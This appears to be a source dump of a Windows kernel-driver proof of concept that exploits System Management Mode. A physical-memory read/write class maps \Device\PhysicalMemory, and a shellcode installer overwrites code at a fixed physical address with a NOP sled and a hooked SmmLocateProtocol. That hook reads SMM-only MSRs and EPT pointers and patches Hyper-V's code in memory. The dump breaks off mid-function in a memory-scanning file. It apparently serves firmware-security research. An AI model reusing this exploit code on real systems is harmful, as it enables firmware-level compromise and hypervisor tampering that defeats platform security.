├── Demo.png
├── Demo
├── Demo
│ ├── PhysicalMemory.hpp
│ ├── SmmShellCode.hpp
│ ├── Demo.vcxproj.filters
│ ├── Demo.hpp
│ ├── PhysicalMemory.cpp
│ ├── Demo.vcxproj
│ ├── SmmShellCode.cpp
│ ├── FindSystemManagementServiceTable.cpp
│ └── Demo.cpp
├── Demo.sln
└── .gitignore
├── LICENSE
└── README.md
/Demo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tandasat/SmmExploit/HEAD/Demo.png
--------------------------------------------------------------------------------
/Demo/Demo/PhysicalMemory.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Demo.hpp"
3 |
4 | class PhysicalMemory
5 | {
6 | public:
7 | NTSTATUS
8 | Initialize (
9 | );
10 |
11 | NTSTATUS
12 | Read (
13 | PVOID Buffer,
14 | ULONG64 SourceAddress,
15 | SIZE_T BytesToRead
16 | ) const;
17 |
18 | NTSTATUS
19 | Write (
20 | ULONG64 DestinationAddress,
21 | PVOID Buffer,
22 | SIZE_T BytesToWrite
23 | ) const;
24 |
25 | ~PhysicalMemory (
26 | );
27 |
28 | private:
29 | enum class OPERATION_TYPE
30 | {
31 | Read,
32 | Write,
33 | };
34 |
35 | NTSTATUS
36 | Copy (
37 | ULONG64 AddressToMap,
38 | PVOID Buffer,
39 | SIZE_T BytesToCopy,
40 | OPERATION_TYPE Operation
41 | ) const;
42 |
43 | HANDLE m_SectionHandle = {};
44 | };
45 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Satoshi Tanda
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Demo/Demo/SmmShellCode.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Demo.hpp"
3 | #include "PhysicalMemory.hpp"
4 |
5 | struct HOOKED_SMM_LOCATE_PROTOCOL_PARAMETER_BLOCK
6 | {
7 | ULONG64 Untouched;
8 | ULONG64 Smbase; // IA32_SMBASE (9eh)
9 | ULONG64 SmmFeatureControl; // MSR_SMM_FEATURE_CONTROL (4e0h)
10 | ULONG64 SmmMcaCap; // MSR_SMM_MCA_CAP (17dh)
11 | ULONG64 Eptp; // Value of EPTP VM-execution control field 7ED8h
12 | ULONG64 HvPatchedAddress;
13 | };
14 |
15 | class SmmShellCode
16 | {
17 | public:
18 | SmmShellCode (
19 | );
20 |
21 | NTSTATUS
22 | Install (
23 | const PhysicalMemory& Pm
24 | );
25 |
26 | ~SmmShellCode (
27 | );
28 |
29 | private:
30 | static const ULONG64 k_ShellCodeEntryPoint = 0x07070707;
31 | static const ULONG64 k_ShellCodeAddress = 0x07070710;
32 | static const SIZE_T k_NopSledSize = k_ShellCodeAddress - k_ShellCodeEntryPoint;
33 |
34 | const SIZE_T m_FunctionSize;
35 | const SIZE_T m_ShellCodeSize;
36 | PVOID m_OriginalCode = {};
37 | const PhysicalMemory* m_Pm = {};
38 | };
39 |
--------------------------------------------------------------------------------
/Demo/Demo.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30804.86
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Demo", "Demo\Demo.vcxproj", "{4739404E-1E7D-4920-8F09-C29C09221600}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Release|x64 = Release|x64
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {4739404E-1E7D-4920-8F09-C29C09221600}.Debug|x64.ActiveCfg = Debug|x64
15 | {4739404E-1E7D-4920-8F09-C29C09221600}.Debug|x64.Build.0 = Debug|x64
16 | {4739404E-1E7D-4920-8F09-C29C09221600}.Debug|x64.Deploy.0 = Debug|x64
17 | {4739404E-1E7D-4920-8F09-C29C09221600}.Release|x64.ActiveCfg = Release|x64
18 | {4739404E-1E7D-4920-8F09-C29C09221600}.Release|x64.Build.0 = Release|x64
19 | {4739404E-1E7D-4920-8F09-C29C09221600}.Release|x64.Deploy.0 = Release|x64
20 | EndGlobalSection
21 | GlobalSection(SolutionProperties) = preSolution
22 | HideSolutionNode = FALSE
23 | EndGlobalSection
24 | GlobalSection(ExtensibilityGlobals) = postSolution
25 | SolutionGuid = {0BA85537-7BD4-4DB3-885C-335FE6A740B3}
26 | EndGlobalSection
27 | EndGlobal
28 |
--------------------------------------------------------------------------------
/Demo/Demo/Demo.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 | Source Files
27 |
28 |
29 | Source Files
30 |
31 |
32 | Source Files
33 |
34 |
35 |
36 |
37 | Header Files
38 |
39 |
40 | Header Files
41 |
42 |
43 | Header Files
44 |
45 |
46 |
--------------------------------------------------------------------------------
/Demo/Demo/Demo.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #ifndef Add2Ptr
8 | #define Add2Ptr(P,I) ((PVOID)((PUCHAR)(P) + (I)))
9 | #endif
10 |
11 | constexpr ULONG k_PoolTag = 'OMED';
12 |
13 | #define DEMO_INFO(Format, ...) \
14 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, \
15 | DPFLTR_ERROR_LEVEL, \
16 | "[+] %s: " Format "\n", \
17 | __FUNCTION__, \
18 | __VA_ARGS__)
19 |
20 | #define DEMO_ERROR(Format, ...) \
21 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, \
22 | DPFLTR_ERROR_LEVEL, \
23 | "[-] %s: " Format "\n", \
24 | __FUNCTION__, \
25 | __VA_ARGS__)
26 |
27 | //
28 | // EDK2 things
29 | //
30 | #define EFIAPI __cdecl
31 | typedef UINT64 UINTN;
32 | typedef UINTN RETURN_STATUS;
33 | typedef RETURN_STATUS EFI_STATUS;
34 | typedef GUID EFI_GUID;
35 | typedef HANDLE EFI_HANDLE;
36 | typedef PHYSICAL_ADDRESS EFI_PHYSICAL_ADDRESS;
37 | typedef wchar_t CHAR16;
38 | #define EFI_SECURITY_VIOLATION (0x8000000000000000ULL | 26)
39 |
40 | typedef struct
41 | {
42 | UINT64 Signature;
43 | UINT32 Revision;
44 | UINT32 HeaderSize;
45 | UINT32 CRC32;
46 | UINT32 Reserved;
47 | } EFI_TABLE_HEADER;
48 |
49 | typedef struct
50 | {
51 | void* Read;
52 | void* Write;
53 | } EFI_MM_IO_ACCESS;
54 |
55 | typedef struct
56 | {
57 | EFI_MM_IO_ACCESS Mem;
58 | EFI_MM_IO_ACCESS Io;
59 | } EFI_SMM_CPU_IO2_PROTOCOL;
60 |
61 | //
62 | // https://github.com/tianocore/edk2/blob/stable/202011/MdePkg/Include/Pi/PiSmmCis.h#L107
63 | //
64 | typedef struct
65 | {
66 | EFI_TABLE_HEADER Hdr;
67 | CHAR16* SmmFirmwareVendor;
68 | UINT32 SmmFirmwareRevision;
69 | void* SmmInstallConfigurationTable;
70 | EFI_SMM_CPU_IO2_PROTOCOL SmmIo;
71 | void* SmmAllocatePool;
72 | void* SmmFreePool;
73 | void* SmmAllocatePages;
74 | void* SmmFreePages;
75 | void* SmmStartupThisAp;
76 | UINTN CurrentlyExecutingCpu;
77 | UINTN NumberOfCpus;
78 | UINTN* CpuSaveStateSize;
79 | void** CpuSaveState;
80 | UINTN NumberOfTableEntries;
81 | void* SmmConfigurationTable;
82 | void* SmmInstallProtocolInterface;
83 | void* SmmUninstallProtocolInterface;
84 | void* SmmHandleProtocol;
85 | void* SmmRegisterProtocolNotify;
86 | void* SmmLocateHandle;
87 | void* SmmLocateProtocol;
88 | void* SmiManage;
89 | void* SmiHandlerRegister;
90 | void* SmiHandlerUnRegister;
91 | } EFI_SMM_SYSTEM_TABLE2;
92 | static_assert(FIELD_OFFSET(EFI_SMM_SYSTEM_TABLE2, SmmLocateProtocol) == 0xd0);
93 |
94 | //
95 | // https://github.com/tianocore/edk2/blob/stable/202011/MdeModulePkg/Core/PiSmmCore/PiSmmCorePrivateData.h#L117
96 | //
97 | typedef struct
98 | {
99 | UINTN Signature;
100 | EFI_HANDLE SmmIplImageHandle;
101 | UINTN SmramRangeCount;
102 | void* SmramRanges;
103 | void* SmmEntryPoint;
104 | BOOLEAN SmmEntryPointRegistered;
105 | BOOLEAN InSmm;
106 | EFI_SMM_SYSTEM_TABLE2* Smst;
107 | void* CommunicationBuffer;
108 | UINTN BufferSize;
109 | EFI_STATUS ReturnStatus;
110 | EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase;
111 | UINT64 PiSmmCoreImageSize;
112 | EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint;
113 | } SMM_CORE_PRIVATE_DATA;
114 | static_assert(FIELD_OFFSET(SMM_CORE_PRIVATE_DATA, Smst) == 0x30);
115 |
--------------------------------------------------------------------------------
/Demo/Demo/PhysicalMemory.cpp:
--------------------------------------------------------------------------------
1 | #include "PhysicalMemory.hpp"
2 |
3 | NTSTATUS
4 | PhysicalMemory::Initialize (
5 | )
6 | {
7 | static const UNICODE_STRING deviceName =
8 | RTL_CONSTANT_STRING(L"\\Device\\PhysicalMemory");
9 | static const OBJECT_ATTRIBUTES attributes =
10 | RTL_CONSTANT_OBJECT_ATTRIBUTES(&deviceName,
11 | OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
12 | NTSTATUS status;
13 | HANDLE sectionHandle;
14 |
15 | status = ZwOpenSection(§ionHandle,
16 | SECTION_ALL_ACCESS,
17 | const_cast(&attributes));
18 | if (!NT_SUCCESS(status))
19 | {
20 | DEMO_ERROR("ZwOpenSection failed : %08x", status);
21 | goto Exit;
22 | }
23 |
24 | m_SectionHandle = sectionHandle;
25 |
26 | Exit:
27 | return status;
28 | }
29 |
30 | NTSTATUS
31 | PhysicalMemory::Read (
32 | PVOID Buffer,
33 | ULONG64 SourceAddress,
34 | SIZE_T BytesToRead
35 | ) const
36 | {
37 | return Copy(SourceAddress, Buffer, BytesToRead, OPERATION_TYPE::Read);
38 | }
39 |
40 | NTSTATUS
41 | PhysicalMemory::Write (
42 | ULONG64 DestinationAddress,
43 | PVOID Buffer,
44 | SIZE_T BytesToWrite
45 | ) const
46 | {
47 | return Copy(DestinationAddress, Buffer, BytesToWrite, OPERATION_TYPE::Write);
48 | }
49 |
50 | PhysicalMemory::~PhysicalMemory (
51 | )
52 | {
53 | if (m_SectionHandle != nullptr)
54 | {
55 | ZwClose(m_SectionHandle);
56 | }
57 | }
58 |
59 | NTSTATUS
60 | PhysicalMemory::Copy (
61 | ULONG64 AddressToMap,
62 | PVOID Buffer,
63 | SIZE_T BytesToCopy,
64 | OPERATION_TYPE Operation
65 | ) const
66 | {
67 | NTSTATUS status;
68 | PVOID virtualAddress;
69 | LARGE_INTEGER physicalAddress;
70 | SIZE_T viewSize;
71 |
72 | virtualAddress = nullptr;
73 |
74 | viewSize = BytesToCopy;
75 | physicalAddress.QuadPart = AddressToMap;
76 | status = ZwMapViewOfSection(m_SectionHandle,
77 | ZwCurrentProcess(),
78 | &virtualAddress,
79 | 0,
80 | BytesToCopy,
81 | &physicalAddress,
82 | &viewSize,
83 | ViewUnmap,
84 | 0,
85 | PAGE_READWRITE);
86 | if (!NT_SUCCESS(status))
87 | {
88 | DEMO_ERROR("ZwMapViewOfSection failed for 0x%llx : %08x", AddressToMap, status);
89 | goto Exit;
90 | }
91 |
92 | __try
93 | {
94 | if (Operation == OPERATION_TYPE::Read)
95 | {
96 | RtlCopyMemory(Buffer, Add2Ptr(virtualAddress, (AddressToMap & 0xfff)), BytesToCopy);
97 | }
98 | else
99 | {
100 | RtlCopyMemory(Add2Ptr(virtualAddress, (AddressToMap & 0xfff)), Buffer, BytesToCopy);
101 | }
102 | }
103 | __except (EXCEPTION_EXECUTE_HANDLER)
104 | {
105 | status = GetExceptionCode();
106 |
107 | //
108 | // Noisy for the current use. Ignore.
109 | //
110 | //DEMO_ERROR("Exception occurred with 0x%llx : %08x", AddressToMap, status);
111 | goto Exit;
112 | }
113 |
114 | Exit:
115 | if (virtualAddress != nullptr)
116 | {
117 | ZwUnmapViewOfSection(ZwCurrentProcess(), virtualAddress);
118 | }
119 | return status;
120 | }
121 |
--------------------------------------------------------------------------------
/Demo/Demo/Demo.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {4739404E-1E7D-4920-8F09-C29C09221600}
15 | {1bc93793-694f-48fe-9372-81e2b05556fd}
16 | v4.5
17 | 12.0
18 | Debug
19 | Win32
20 | Demo
21 |
22 |
23 |
24 | Windows10
25 | true
26 | WindowsKernelModeDriver10.0
27 | Driver
28 | KMDF
29 | Universal
30 | Spectre
31 |
32 |
33 | Windows10
34 | false
35 | WindowsKernelModeDriver10.0
36 | Driver
37 | KMDF
38 | Universal
39 | Spectre
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | DbgengKernelDebugger
51 |
52 |
53 | DbgengKernelDebugger
54 |
55 |
56 |
57 | stdcpp17
58 | 5040;%(DisableSpecificWarnings)
59 | POOL_ZERO_DOWN_LEVEL_SUPPORT;POOL_NX_OPTIN;%(PreprocessorDefinitions)
60 |
61 |
62 |
63 |
64 | stdcpp17
65 | 5040;%(DisableSpecificWarnings)
66 | POOL_ZERO_DOWN_LEVEL_SUPPORT;POOL_NX_OPTIN;%(PreprocessorDefinitions)
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/Demo/Demo/SmmShellCode.cpp:
--------------------------------------------------------------------------------
1 | #include "SmmShellCode.hpp"
2 |
3 | //
4 | // See EFI_LOCATE_PROTOCOL for the prototype.
5 | //
6 | static
7 | EFI_STATUS
8 | EFIAPI
9 | HookedSmmLocateProtocol (
10 | EFI_GUID* Protocol,
11 | PVOID Registration,
12 | PVOID* Interface
13 | )
14 | {
15 | HOOKED_SMM_LOCATE_PROTOCOL_PARAMETER_BLOCK* block;
16 |
17 | UNREFERENCED_PARAMETER(Protocol);
18 | UNREFERENCED_PARAMETER(Registration);
19 | UNREFERENCED_PARAMETER(Interface);
20 |
21 | block = static_cast(nullptr);
22 |
23 | //
24 | // Read SMM-only accessible MSRs.
25 | //
26 | block->Smbase = __readmsr(0x9e);
27 | block->SmmFeatureControl = __readmsr(0x4e0);
28 | block->SmmMcaCap = __readmsr(0x17d);
29 |
30 | //
31 | // Setting of "enable EPT" VM-execution control. This is available only when
32 | // the bit 1 of the other field at 0x7EE0 is set.
33 | //
34 | if ((*static_cast(Add2Ptr(block->Smbase, 0x8000 + 0x7EE0)) & 1) == 1)
35 | {
36 | block->Eptp = *static_cast(Add2Ptr(block->Smbase, 0x8000 + 0x7ED8));
37 | }
38 | else
39 | {
40 | block->Eptp = 0;
41 | }
42 |
43 | //
44 | // Find Hyper-V (hvix64.exe) code to patch if Hyper-V is present.
45 | //
46 | // When Hyper-V is enabled, there is a large reserved physical memory region
47 | // starting at 0x100000000 (just above 4GB) that is not readable from the OS.
48 | // We will start scanning this region up to a somewhat arbitrary size.
49 | // NB: Those hard coded numbers may be removed by consulting
50 | // HKLM\HARDWARE\RESOURCEMAP\System Resources\Reserved\.Translated
51 | // The signature is expected appear at the large page (2MB boundary) so skip
52 | // over that much on mismatch.
53 | //
54 | block->HvPatchedAddress = 0;
55 | if (block->Eptp == 0)
56 | {
57 | goto Exit;
58 | }
59 |
60 | for (ULONG64 address = 0x100000000; address < 0x108000000; address += 0x200000)
61 | {
62 | //
63 | // hvix64.exe's code section starts with at least 8 bytes of 0xCC
64 | //
65 | if (*reinterpret_cast(address) != 0xCCCCCCCCCCCCCCCC)
66 | {
67 | continue;
68 | }
69 |
70 | //
71 | // Find code that sets "Microsoft Hv" as the result of CPUID:4000000h.
72 | //
73 | // 6F 73 6F 66 41 C7 41 0C is the pattern for 18362 and known not to work
74 | // on 19042.
75 | //
76 | for (ULONG offset = 0; offset < 0x200000; offset += 0x10)
77 | {
78 | if (*reinterpret_cast(address + offset) != 0x0C41C741666F736F)
79 | {
80 | continue;
81 | }
82 |
83 | //
84 | // Found it. Patch it to return "Hv Tampered!" instead.
85 | //
86 | block->HvPatchedAddress = address + offset;
87 | *reinterpret_cast(block->HvPatchedAddress - 8) = 'T vH';
88 | *reinterpret_cast(block->HvPatchedAddress ) = 'epma';
89 | *reinterpret_cast(block->HvPatchedAddress + 8) = '!der';
90 | goto Exit;
91 | }
92 | }
93 |
94 | Exit:
95 | //
96 | // I think this is a security violation. Report it.
97 | //
98 | return EFI_SECURITY_VIOLATION;
99 | }
100 |
101 | static void HookedSmmLocateProtocolZZZ() {}
102 |
103 | SmmShellCode::SmmShellCode (
104 | ) :
105 | m_FunctionSize(reinterpret_cast(HookedSmmLocateProtocolZZZ) -
106 | reinterpret_cast(HookedSmmLocateProtocol)),
107 | m_ShellCodeSize(k_NopSledSize + m_FunctionSize)
108 | {
109 | }
110 |
111 | NTSTATUS
112 | SmmShellCode::Install (
113 | const PhysicalMemory& Pm
114 | )
115 | {
116 | NTSTATUS status;
117 | PVOID originalCode;
118 | UCHAR nops[k_NopSledSize];
119 |
120 | originalCode = ExAllocatePoolWithTag(NonPagedPoolNx, m_ShellCodeSize, k_PoolTag);
121 | if (originalCode == nullptr)
122 | {
123 | DEMO_ERROR("Memory allocation failed: %llu", m_ShellCodeSize);
124 | status = STATUS_INSUFFICIENT_RESOURCES;
125 | goto Exit;
126 | }
127 |
128 | status = Pm.Read(originalCode, k_ShellCodeEntryPoint, m_ShellCodeSize);
129 | if (!NT_SUCCESS(status))
130 | {
131 | DEMO_ERROR("Read failed : %08x", status);
132 | goto Exit;
133 | }
134 |
135 | RtlFillMemory(nops, sizeof(nops), 0x90);
136 | status = Pm.Write(k_ShellCodeEntryPoint, nops, sizeof(nops));
137 | if (!NT_SUCCESS(status))
138 | {
139 | DEMO_ERROR("Write failed : %08x", status);
140 | goto Exit;
141 | }
142 |
143 | status = Pm.Write(k_ShellCodeAddress, reinterpret_cast(HookedSmmLocateProtocol), m_FunctionSize);
144 | if (!NT_SUCCESS(status))
145 | {
146 | DEMO_ERROR("Write failed. System left corrupted : %08x", status);
147 | goto Exit;
148 | }
149 |
150 | m_OriginalCode = originalCode;
151 | m_Pm = &Pm;
152 |
153 | Exit:
154 | if (!NT_SUCCESS(status))
155 | {
156 | if (originalCode != nullptr)
157 | {
158 | ExFreePoolWithTag(originalCode, k_PoolTag);
159 | }
160 | }
161 | return status;
162 | }
163 |
164 | SmmShellCode::~SmmShellCode (
165 | )
166 | {
167 | if (m_OriginalCode != nullptr)
168 | {
169 | NTSTATUS status;
170 |
171 | status = m_Pm->Write(k_ShellCodeEntryPoint, m_OriginalCode, m_ShellCodeSize);
172 | if (!NT_SUCCESS(status))
173 | {
174 | DEMO_ERROR("Write failed. System left corrupted : %08x", status);
175 | }
176 | ExFreePoolWithTag(m_OriginalCode, k_PoolTag);
177 | }
178 | }
179 |
--------------------------------------------------------------------------------
/Demo/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | [Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | bld/
21 | [Bb]in/
22 | [Oo]bj/
23 | [Ll]og/
24 |
25 | # Visual Studio 2015 cache/options directory
26 | .vs/
27 | # Uncomment if you have tasks that create the project's static files in wwwroot
28 | #wwwroot/
29 |
30 | # MSTest test Results
31 | [Tt]est[Rr]esult*/
32 | [Bb]uild[Ll]og.*
33 |
34 | # NUNIT
35 | *.VisualState.xml
36 | TestResult.xml
37 |
38 | # Build Results of an ATL Project
39 | [Dd]ebugPS/
40 | [Rr]eleasePS/
41 | dlldata.c
42 |
43 | # DNX
44 | project.lock.json
45 | project.fragment.lock.json
46 | artifacts/
47 |
48 | *_i.c
49 | *_p.c
50 | *_i.h
51 | *.ilk
52 | *.meta
53 | *.obj
54 | *.pch
55 | *.pdb
56 | *.pgc
57 | *.pgd
58 | *.rsp
59 | *.sbr
60 | *.tlb
61 | *.tli
62 | *.tlh
63 | *.tmp
64 | *.tmp_proj
65 | *.log
66 | *.vspscc
67 | *.vssscc
68 | .builds
69 | *.pidb
70 | *.svclog
71 | *.scc
72 |
73 | # Chutzpah Test files
74 | _Chutzpah*
75 |
76 | # Visual C++ cache files
77 | ipch/
78 | *.aps
79 | *.ncb
80 | *.opendb
81 | *.opensdf
82 | *.sdf
83 | *.cachefile
84 | *.VC.db
85 | *.VC.VC.opendb
86 |
87 | # Visual Studio profiler
88 | *.psess
89 | *.vsp
90 | *.vspx
91 | *.sap
92 |
93 | # TFS 2012 Local Workspace
94 | $tf/
95 |
96 | # Guidance Automation Toolkit
97 | *.gpState
98 |
99 | # ReSharper is a .NET coding add-in
100 | _ReSharper*/
101 | *.[Rr]e[Ss]harper
102 | *.DotSettings.user
103 |
104 | # JustCode is a .NET coding add-in
105 | .JustCode
106 |
107 | # TeamCity is a build add-in
108 | _TeamCity*
109 |
110 | # DotCover is a Code Coverage Tool
111 | *.dotCover
112 |
113 | # NCrunch
114 | _NCrunch_*
115 | .*crunch*.local.xml
116 | nCrunchTemp_*
117 |
118 | # MightyMoose
119 | *.mm.*
120 | AutoTest.Net/
121 |
122 | # Web workbench (sass)
123 | .sass-cache/
124 |
125 | # Installshield output folder
126 | [Ee]xpress/
127 |
128 | # DocProject is a documentation generator add-in
129 | DocProject/buildhelp/
130 | DocProject/Help/*.HxT
131 | DocProject/Help/*.HxC
132 | DocProject/Help/*.hhc
133 | DocProject/Help/*.hhk
134 | DocProject/Help/*.hhp
135 | DocProject/Help/Html2
136 | DocProject/Help/html
137 |
138 | # Click-Once directory
139 | publish/
140 |
141 | # Publish Web Output
142 | *.[Pp]ublish.xml
143 | *.azurePubxml
144 | # TODO: Comment the next line if you want to checkin your web deploy settings
145 | # but database connection strings (with potential passwords) will be unencrypted
146 | #*.pubxml
147 | *.publishproj
148 |
149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
150 | # checkin your Azure Web App publish settings, but sensitive information contained
151 | # in these scripts will be unencrypted
152 | PublishScripts/
153 |
154 | # NuGet Packages
155 | *.nupkg
156 | # The packages folder can be ignored because of Package Restore
157 | **/packages/*
158 | # except build/, which is used as an MSBuild target.
159 | !**/packages/build/
160 | # Uncomment if necessary however generally it will be regenerated when needed
161 | #!**/packages/repositories.config
162 | # NuGet v3's project.json files produces more ignoreable files
163 | *.nuget.props
164 | *.nuget.targets
165 |
166 | # Microsoft Azure Build Output
167 | csx/
168 | *.build.csdef
169 |
170 | # Microsoft Azure Emulator
171 | ecf/
172 | rcf/
173 |
174 | # Windows Store app package directories and files
175 | AppPackages/
176 | BundleArtifacts/
177 | Package.StoreAssociation.xml
178 | _pkginfo.txt
179 |
180 | # Visual Studio cache files
181 | # files ending in .cache can be ignored
182 | *.[Cc]ache
183 | # but keep track of directories ending in .cache
184 | !*.[Cc]ache/
185 |
186 | # Others
187 | ClientBin/
188 | ~$*
189 | *~
190 | *.dbmdl
191 | *.dbproj.schemaview
192 | *.jfm
193 | *.pfx
194 | *.publishsettings
195 | node_modules/
196 | orleans.codegen.cs
197 |
198 | # Since there are multiple workflows, uncomment next line to ignore bower_components
199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
200 | #bower_components/
201 |
202 | # RIA/Silverlight projects
203 | Generated_Code/
204 |
205 | # Backup & report files from converting an old project file
206 | # to a newer Visual Studio version. Backup files are not needed,
207 | # because we have git ;-)
208 | _UpgradeReport_Files/
209 | Backup*/
210 | UpgradeLog*.XML
211 | UpgradeLog*.htm
212 |
213 | # SQL Server files
214 | *.mdf
215 | *.ldf
216 |
217 | # Business Intelligence projects
218 | *.rdl.data
219 | *.bim.layout
220 | *.bim_*.settings
221 |
222 | # Microsoft Fakes
223 | FakesAssemblies/
224 |
225 | # GhostDoc plugin setting file
226 | *.GhostDoc.xml
227 |
228 | # Node.js Tools for Visual Studio
229 | .ntvs_analysis.dat
230 |
231 | # Visual Studio 6 build log
232 | *.plg
233 |
234 | # Visual Studio 6 workspace options file
235 | *.opt
236 |
237 | # Visual Studio LightSwitch build output
238 | **/*.HTMLClient/GeneratedArtifacts
239 | **/*.DesktopClient/GeneratedArtifacts
240 | **/*.DesktopClient/ModelManifest.xml
241 | **/*.Server/GeneratedArtifacts
242 | **/*.Server/ModelManifest.xml
243 | _Pvt_Extensions
244 |
245 | # Paket dependency manager
246 | .paket/paket.exe
247 | paket-files/
248 |
249 | # FAKE - F# Make
250 | .fake/
251 |
252 | # JetBrains Rider
253 | .idea/
254 | *.sln.iml
255 |
256 | # CodeRush
257 | .cr/
258 |
259 | # Python Tools for Visual Studio (PTVS)
260 | __pycache__/
261 | *.pyc
262 |
263 | # WPP
264 | *.mof
265 |
266 | # CppCheck
267 | *.cppcheck
268 | **/*-cppcheck-build-dir
269 |
270 | # Doxygen
271 | Doxygen/
272 |
273 | # .lib files collected by the Pre-Link script
274 | Libs/
275 |
--------------------------------------------------------------------------------
/Demo/Demo/FindSystemManagementServiceTable.cpp:
--------------------------------------------------------------------------------
1 | #include "Demo.hpp"
2 | #include "PhysicalMemory.hpp"
3 |
4 | static
5 | PVOID
6 | MemMem (
7 | const void* SearchBase,
8 | SIZE_T SearchSize,
9 | const void* Pattern,
10 | SIZE_T PatternSize,
11 | SIZE_T Alignment
12 | )
13 | {
14 | if (PatternSize > SearchSize)
15 | {
16 | return nullptr;
17 | }
18 |
19 | Alignment = (Alignment == 0) ? 1 : Alignment;
20 |
21 | auto searchBase = static_cast(SearchBase);
22 | for (SIZE_T i = 0; i <= SearchSize - PatternSize; i += Alignment)
23 | {
24 | if (!memcmp(Pattern, &searchBase[i], PatternSize))
25 | {
26 | return const_cast(&searchBase[i]);
27 | }
28 | }
29 | return nullptr;
30 | }
31 |
32 | class MemoryScanner
33 | {
34 | public:
35 | NTSTATUS
36 | Initialize (
37 | const PhysicalMemory& Pm
38 | );
39 |
40 | ULONG64
41 | Scan (
42 | ULONG64 ScanBase,
43 | SIZE_T ScanLength,
44 | const void* Pattern,
45 | SIZE_T PatternLength,
46 | SIZE_T Alignment
47 | ) const;
48 |
49 | ~MemoryScanner (
50 | );
51 |
52 | private:
53 | const PhysicalMemory* m_Pm;
54 | mutable PVOID m_ScanBuffer;
55 | };
56 |
57 | NTSTATUS
58 | MemoryScanner::Initialize (
59 | const PhysicalMemory& Pm
60 | )
61 | {
62 | NTSTATUS status;
63 | PVOID scanBuffer;
64 |
65 | scanBuffer = ExAllocatePoolWithTag(PagedPool, PAGE_SIZE, k_PoolTag);
66 | if (scanBuffer == nullptr)
67 | {
68 | DEMO_ERROR("Memory allocation failed : %lu", PAGE_SIZE);
69 | status = STATUS_INSUFFICIENT_RESOURCES;
70 | goto Exit;
71 | }
72 |
73 | status = STATUS_SUCCESS;
74 | m_Pm = &Pm;
75 | m_ScanBuffer = scanBuffer;
76 |
77 | Exit:
78 | return status;
79 | }
80 |
81 | ULONG64
82 | MemoryScanner::Scan (
83 | ULONG64 ScanBase,
84 | SIZE_T ScanLength,
85 | const void* Pattern,
86 | SIZE_T PatternLength,
87 | SIZE_T Alignment
88 | ) const
89 | {
90 | for (ULONG64 pageOffset = 0; pageOffset < ScanLength; pageOffset += PAGE_SIZE)
91 | {
92 | NTSTATUS status;
93 | PVOID found;
94 |
